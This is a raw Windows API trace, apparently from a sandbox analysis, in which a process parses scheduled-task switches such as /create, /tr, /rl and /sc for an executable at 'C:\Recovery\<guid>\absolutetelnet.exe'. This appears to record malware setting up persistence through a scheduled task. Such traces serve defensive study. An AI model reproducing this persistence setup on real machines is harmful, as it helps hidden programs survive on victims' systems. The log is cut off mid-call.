[0145.966] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.966] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|m|") returned 3 [0145.966] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.966] lstrlenW (lpString="|m|") returned 3 [0145.967] lstrlenW (lpString="|tr|") returned 4 [0145.967] SetLastError (dwErrCode=0x490) [0145.967] lstrlenW (lpString="i") returned 1 [0145.967] lstrlenW (lpString="i") returned 1 [0145.967] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.967] lstrlenW (lpString="tr") returned 2 [0145.967] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.967] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|i|") returned 3 [0145.967] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.967] lstrlenW (lpString="|i|") returned 3 [0145.967] lstrlenW (lpString="|tr|") returned 4 [0145.967] SetLastError (dwErrCode=0x490) [0145.967] lstrlenW (lpString="tn") returned 2 [0145.967] lstrlenW (lpString="tn") returned 2 [0145.967] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.967] lstrlenW (lpString="tr") returned 2 [0145.967] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.967] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.967] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.967] lstrlenW (lpString="|tn|") returned 4 [0145.967] lstrlenW (lpString="|tr|") returned 4 [0145.967] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0145.967] SetLastError (dwErrCode=0x490) [0145.967] lstrlenW (lpString="tr") returned 2 [0145.967] lstrlenW (lpString="tr") returned 2 [0145.967] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.967] lstrlenW (lpString="tr") returned 2 [0145.968] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.968] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.968] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.968] lstrlenW (lpString="|tr|") returned 4 [0145.968] lstrlenW (lpString="|tr|") returned 4 [0145.968] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0145.968] SetLastError (dwErrCode=0x0) [0145.968] SetLastError (dwErrCode=0x0) [0145.968] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.968] lstrlenW (lpString="-/") returned 2 [0145.968] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0145.968] SetLastError (dwErrCode=0x490) [0145.968] SetLastError (dwErrCode=0x490) [0145.968] SetLastError (dwErrCode=0x0) [0145.968] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.968] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'" [0145.968] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.968] _memicmp (_Buf1=0x2bc320, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.968] _memicmp (_Buf1=0x2bc360, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.968] SetLastError (dwErrCode=0x7a) [0145.968] SetLastError (dwErrCode=0x0) [0145.968] SetLastError (dwErrCode=0x0) [0145.968] lstrlenW (lpString="'C") returned 2 [0145.968] lstrlenW (lpString="-/") returned 2 [0145.968] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0145.968] SetLastError (dwErrCode=0x490) [0145.968] SetLastError (dwErrCode=0x490) [0145.969] SetLastError (dwErrCode=0x0) [0145.969] _memicmp (_Buf1=0x2bd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.969] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.969] GetProcessHeap () returned 0x2a0000 [0145.969] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd590) returned 1 [0145.969] GetProcessHeap () returned 0x2a0000 [0145.969] RtlReAllocateHeap (Heap=0x2a0000, Flags=0xc, Ptr=0x2bd590, Size=0x8c) returned 0x2bc420 [0145.969] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.969] lstrlenW (lpString=" \x09") returned 2 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0145.969] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0145.970] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0145.971] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0145.971] GetLastError () returned 0x0 [0145.971] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.971] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.971] SetLastError (dwErrCode=0x0) [0145.971] SetLastError (dwErrCode=0x0) [0145.971] lstrlenW (lpString="/rl") returned 3 [0145.971] lstrlenW (lpString="-/") returned 2 [0145.971] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.972] lstrlenW (lpString="create") returned 6 [0145.972] lstrlenW (lpString="create") returned 6 [0145.972] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.972] lstrlenW (lpString="rl") returned 2 [0145.972] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.972] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.972] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.972] lstrlenW (lpString="|create|") returned 8 [0145.972] lstrlenW (lpString="|rl|") returned 4 [0145.972] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0145.972] SetLastError (dwErrCode=0x490) [0145.972] lstrlenW (lpString="?") returned 1 [0145.972] lstrlenW (lpString="?") returned 1 [0145.972] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.972] lstrlenW (lpString="rl") returned 2 [0145.972] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.972] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|?|") returned 3 [0145.972] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.972] lstrlenW (lpString="|?|") returned 3 [0145.972] lstrlenW (lpString="|rl|") returned 4 [0145.972] SetLastError (dwErrCode=0x490) [0145.972] lstrlenW (lpString="s") returned 1 [0145.972] lstrlenW (lpString="s") returned 1 [0145.972] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.972] lstrlenW (lpString="rl") returned 2 [0145.973] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.973] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|s|") returned 3 [0145.973] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.973] lstrlenW (lpString="|s|") returned 3 [0145.973] lstrlenW (lpString="|rl|") returned 4 [0145.973] SetLastError (dwErrCode=0x490) [0145.973] lstrlenW (lpString="u") returned 1 [0145.973] lstrlenW (lpString="u") returned 1 [0145.973] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.973] lstrlenW (lpString="rl") returned 2 [0145.973] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.973] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|u|") returned 3 [0145.973] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.973] lstrlenW (lpString="|u|") returned 3 [0145.973] lstrlenW (lpString="|rl|") returned 4 [0145.973] SetLastError (dwErrCode=0x490) [0145.973] lstrlenW (lpString="p") returned 1 [0145.973] lstrlenW (lpString="p") returned 1 [0145.973] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.973] lstrlenW (lpString="rl") returned 2 [0145.973] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.973] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|p|") returned 3 [0145.973] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.973] lstrlenW (lpString="|p|") returned 3 [0145.973] lstrlenW (lpString="|rl|") returned 4 [0145.973] SetLastError (dwErrCode=0x490) [0145.974] lstrlenW (lpString="ru") returned 2 [0145.974] lstrlenW (lpString="ru") returned 2 [0145.974] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.974] lstrlenW (lpString="rl") returned 2 [0145.974] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.974] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ru|") returned 4 [0145.974] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.974] lstrlenW (lpString="|ru|") returned 4 [0145.974] lstrlenW (lpString="|rl|") returned 4 [0145.974] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0145.974] SetLastError (dwErrCode=0x490) [0145.974] lstrlenW (lpString="rp") returned 2 [0145.974] lstrlenW (lpString="rp") returned 2 [0145.974] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.974] lstrlenW (lpString="rl") returned 2 [0145.974] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.974] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rp|") returned 4 [0145.974] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.974] lstrlenW (lpString="|rp|") returned 4 [0145.974] lstrlenW (lpString="|rl|") returned 4 [0145.974] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0145.974] SetLastError (dwErrCode=0x490) [0145.974] lstrlenW (lpString="sc") returned 2 [0145.974] lstrlenW (lpString="sc") returned 2 [0145.974] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.974] lstrlenW (lpString="rl") returned 2 [0145.975] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.975] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.975] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.975] lstrlenW (lpString="|sc|") returned 4 [0145.975] lstrlenW (lpString="|rl|") returned 4 [0145.975] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0145.975] SetLastError (dwErrCode=0x490) [0145.975] lstrlenW (lpString="mo") returned 2 [0145.975] lstrlenW (lpString="mo") returned 2 [0145.975] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.975] lstrlenW (lpString="rl") returned 2 [0145.975] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.975] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|mo|") returned 4 [0145.975] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.975] lstrlenW (lpString="|mo|") returned 4 [0145.975] lstrlenW (lpString="|rl|") returned 4 [0145.975] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0145.975] SetLastError (dwErrCode=0x490) [0145.975] lstrlenW (lpString="d") returned 1 [0145.975] lstrlenW (lpString="d") returned 1 [0145.975] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.975] lstrlenW (lpString="rl") returned 2 [0145.975] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.975] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|d|") returned 3 [0145.975] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.976] lstrlenW (lpString="|d|") returned 3 [0145.976] lstrlenW (lpString="|rl|") returned 4 [0145.976] SetLastError (dwErrCode=0x490) [0145.976] lstrlenW (lpString="m") returned 1 [0145.976] lstrlenW (lpString="m") returned 1 [0145.976] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.976] lstrlenW (lpString="rl") returned 2 [0145.976] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.976] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|m|") returned 3 [0145.976] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.976] lstrlenW (lpString="|m|") returned 3 [0145.976] lstrlenW (lpString="|rl|") returned 4 [0145.976] SetLastError (dwErrCode=0x490) [0145.976] lstrlenW (lpString="i") returned 1 [0145.976] lstrlenW (lpString="i") returned 1 [0145.976] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.976] lstrlenW (lpString="rl") returned 2 [0145.976] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.976] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|i|") returned 3 [0145.976] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.976] lstrlenW (lpString="|i|") returned 3 [0145.976] lstrlenW (lpString="|rl|") returned 4 [0145.976] SetLastError (dwErrCode=0x490) [0145.976] lstrlenW (lpString="tn") returned 2 [0145.976] lstrlenW (lpString="tn") returned 2 [0145.976] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.977] lstrlenW (lpString="rl") returned 2 [0145.977] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.977] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.977] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.977] lstrlenW (lpString="|tn|") returned 4 [0145.977] lstrlenW (lpString="|rl|") returned 4 [0145.977] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0145.977] SetLastError (dwErrCode=0x490) [0145.977] lstrlenW (lpString="tr") returned 2 [0145.977] lstrlenW (lpString="tr") returned 2 [0145.977] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.977] lstrlenW (lpString="rl") returned 2 [0145.977] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.977] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.977] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.977] lstrlenW (lpString="|tr|") returned 4 [0145.977] lstrlenW (lpString="|rl|") returned 4 [0145.977] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0145.977] SetLastError (dwErrCode=0x490) [0145.977] lstrlenW (lpString="st") returned 2 [0145.977] lstrlenW (lpString="st") returned 2 [0145.977] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.977] lstrlenW (lpString="rl") returned 2 [0145.977] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.978] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|st|") returned 4 [0145.978] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.978] lstrlenW (lpString="|st|") returned 4 [0145.978] lstrlenW (lpString="|rl|") returned 4 [0145.978] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0145.978] SetLastError (dwErrCode=0x490) [0145.978] lstrlenW (lpString="sd") returned 2 [0145.978] lstrlenW (lpString="sd") returned 2 [0145.978] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.978] lstrlenW (lpString="rl") returned 2 [0145.978] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.978] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sd|") returned 4 [0145.978] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.978] lstrlenW (lpString="|sd|") returned 4 [0145.978] lstrlenW (lpString="|rl|") returned 4 [0145.978] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0145.978] SetLastError (dwErrCode=0x490) [0145.978] lstrlenW (lpString="ed") returned 2 [0145.978] lstrlenW (lpString="ed") returned 2 [0145.978] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.978] lstrlenW (lpString="rl") returned 2 [0145.978] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.978] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ed|") returned 4 [0145.978] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.978] lstrlenW (lpString="|ed|") returned 4 [0145.979] lstrlenW (lpString="|rl|") returned 4 [0145.979] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0145.979] SetLastError (dwErrCode=0x490) [0145.979] lstrlenW (lpString="it") returned 2 [0145.979] lstrlenW (lpString="it") returned 2 [0145.979] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.979] lstrlenW (lpString="rl") returned 2 [0145.979] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.979] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|it|") returned 4 [0145.979] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.979] lstrlenW (lpString="|it|") returned 4 [0145.979] lstrlenW (lpString="|rl|") returned 4 [0145.979] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0145.979] SetLastError (dwErrCode=0x490) [0145.979] lstrlenW (lpString="et") returned 2 [0145.979] lstrlenW (lpString="et") returned 2 [0145.979] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.979] lstrlenW (lpString="rl") returned 2 [0145.979] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.979] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|et|") returned 4 [0145.979] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.979] lstrlenW (lpString="|et|") returned 4 [0145.979] lstrlenW (lpString="|rl|") returned 4 [0145.979] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0145.979] SetLastError (dwErrCode=0x490) [0145.979] lstrlenW (lpString="k") returned 1 [0145.979] lstrlenW (lpString="k") returned 1 [0145.980] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.980] lstrlenW (lpString="rl") returned 2 [0145.980] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.980] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|k|") returned 3 [0145.980] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.980] lstrlenW (lpString="|k|") returned 3 [0145.980] lstrlenW (lpString="|rl|") returned 4 [0145.980] SetLastError (dwErrCode=0x490) [0145.980] lstrlenW (lpString="du") returned 2 [0145.980] lstrlenW (lpString="du") returned 2 [0145.980] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.980] lstrlenW (lpString="rl") returned 2 [0145.980] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.980] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|du|") returned 4 [0145.980] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.980] lstrlenW 